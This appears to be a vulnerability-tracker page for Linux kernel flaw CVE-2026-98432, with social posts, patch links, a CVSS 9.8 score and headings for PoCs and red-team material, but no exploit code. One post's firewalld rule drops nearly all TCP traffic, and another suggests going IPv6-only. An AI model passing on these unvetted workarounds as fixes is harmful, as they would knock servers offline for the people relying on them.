⚠️ Hosting UK is reporting an Incident since 07:05 UTC "Security Advisory: Linux Kernel Vulnerability (CVE-2026-98432)" Live timeline → https://pingoru.io/providers/hosting-uk/incidents/12450037 #HostingUK #HostingUKDown
Open source
social bsky.app @shiojiri.com 2026-10-30 07:02 UTC

Linuxカーネルの脆弱性 CVE-2026-98432 についてまとめてみた - piyolog https://piyolog.hatenadiary.jp/entry/2026/10/30/120732
Open source
social bsky.app @arttonews.com 2026-10-30 07:01 UTC

Linux又出“远程拿ROOT”重磅漏洞！MPTCP服务器中招不用登录，补丁却分批放行
Open source
code github.com scriptzteam 2026-10-30 06:59 UTC

scriptzteam/Paranoid-CVE-2026-98432
Open source
social social.tchncs.de @116470333154959429 2026-10-30 06:55 UTC

🎙️ Cyberwald - Cybersecurity-News - 30.10.2026 Heute im Podcast: • Linux-Kernel TCP-Lücke CVE-2026-98432 mit KI-Exploit • Cisco Firewall- und SD-WAN-Angriffe mit KeyDrift-Malware • Binance-Sicherheitsvorfall mit Milliarden-Schaden • 319 Ch…
Open source
social bsky.app @notjustanidea.bsky.social 2026-10-30 06:49 UTC

For CVE-2026-98432 whilst we all wait Red hat to patch The below should prevent the issue sudo firewall-cmd --permanent --direct --add-rule ipv4 filter PREROUTING 0 -p tcp -m length --length 25:65535 -j DROP sudo firewall-cmd --reload
Open source
social bsky.app @an-nou.bsky.social 2026-10-30 06:41 UTC

叫びだ。 blog.calil.jp/2026/10/linu...
Open source
social bsky.app @bontchev.infosec.exchange.ap.brid.gy 2026-10-30 06:37 UTC

Only a couple of days left till the end of the cybersecurity awareness month. Quick! Let's cram up a few more "facepalm" hacks. "Linux Kernel TCP Flaw With 9.8 CVSS Score Affects Ubuntu, Red Hat and Other Distributions": https://thehackern…
Open source
social bsky.app @undercodenews.bsky.social 2026-10-30 06:37 UTC

CVE-2026-98432: Critical Linux Kernel Flaw Exposes Servers to Remote Memory Corruption and Potential Root Access A critical vulnerability in the Linux kernel's IPv4 TCP implementation has raised serious concerns about server security after…
Open source
other feeds.osroadwarrior.info 2026-10-30 06:17 UTC

One of the major confusion points for the CVE-2026-98432 Linux remote TCP kernel exploit (!) is that people believe you must use multi path TCP to be vulnerable. No. CVE-2026-98432: The primary vulnerable path is ordinary IPv4 TCP connecti…
Open source
social bsky.app @zooroom.bsky.social 2026-10-30 06:16 UTC

Linuxに深刻度9.8の脆弱性、認証なしでroot権限奪取 AnthropicのAIが攻撃を実証 news.yahoo.co.jp/articles/9d3...
Open source
social bsky.app @tech-trending.bsky.social 2026-10-30 06:10 UTC

Linuxカーネルの脆弱性 CVE-2026-98432 についてまとめてみた - piyolog https://piyolog.hatenadiary.jp/entry/2026/10/30/120732
Open source
social bsky.app @s1m.infosec.exchange.ap.brid.gy 2026-10-30 06:03 UTC

CVE-2026-98432 workaround: go IPv6 only
Open source
social bsky.app @tkusano.jp 2026-10-30 05:59 UTC

> 無意味な儀式は、いますぐ停止してくださいリトで参照する #rito.blue
Open source
code github.com fbuff-tools 2026-10-30 05:47 UTC

fbuff-tools/cve-2026-98432-checker
Open source
social bsky.app @janguldentops.bsky.social 2026-10-30 05:41 UTC

🚨🚨 𝗕𝗘𝗟𝗔𝗡𝗚𝗥𝗜𝗝𝗞: 𝗻𝗶𝗲𝘂𝘄𝗲 𝗸𝗿𝗶𝘁𝗶𝘀𝗰𝗵𝗲 𝗸𝗹𝗼𝘁𝗲𝗯𝘂𝗴 𝗶𝗻 𝗟𝗶𝗻𝘂𝘅 (𝗖𝗩𝗘-𝟮𝟬𝟮𝟲-𝟵𝟴𝟰𝟯𝟮) 🚨🚨 Ondertussen heeft een nieuwe bug in de Linux-kernel, CVE-2026-98432, een score van 9.8 gekregen, dus superkritisch. lnkd.in/p/eiJpxVgw
Open source
social bsky.app @studiomoko.bsky.social 2026-10-30 05:39 UTC

Linuxに深刻度9.8の脆弱性、認証なしでroot権限奪取 AnthropicのAIが攻撃を実証(アスキー) #Yahooニュース news.yahoo.co.jp/articles/9d3...
Open source
social bsky.app @minkypal.minkymoon.jp 2026-10-30 05:28 UTC

CVE-2026-98432のパッチがまだ出ていないからワークアラウンドだけ適用しておいた。今日は在宅勤務だったからよかったけど、オフィス出社の方がほとんどだからVPSでOSレイヤーから自分で管理するのはそろそろ（時間的に）辛い・・・
Open source
social bsky.app @nepal-net.net 2026-10-30 05:11 UTC

昔一緒に仕事してた人からPHPの件に続いて今日もメッセージがきた理由はこれか・・・正直NEPALはもう完全に関係ないんやで、向こうの担当者が「一応NEPALさんにも意見聞いといて」とか言うてるらしいがアホかと。 share.google/uypCVS9ZjcoU...
Open source

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2026-98432
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/b3b027ef0cd322bfa839b9aaf5b27551eea54cf6
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/95a8c8fa9f27dce64c40c41c062de7728bf34ab5
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/89b5b1eb7d633c33832b7ff2c02e19a144705036
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/742f73df544e03744f2981c467d6542fe8172a2a
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/11a03ce3c4a62d84c10ccdfe47f8075006498568
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/a47406c769f72c070386985488f1c4d057df86b2
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/26d4c36d318cffbbd160884a0e4cec0da4da4936
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/e3f33b0a1d89d738e2b913dab519226eaf76e15b
openwall.com	NVD API	http://www.openwall.com/lists/oss-security/2026/10/30/1

CVSS Analysis

CVSS v3.1

9.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Prioritization

BuzzFactor

100 / 100

LEV

0.0%

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

YES

Ransomware

CVE-2026-98432

Vulnerability Description

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

Disclaimer

GitHub PoCs (11)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns

Red Team Playbook

Detection & Response Rules

Mentions (50)

References (10)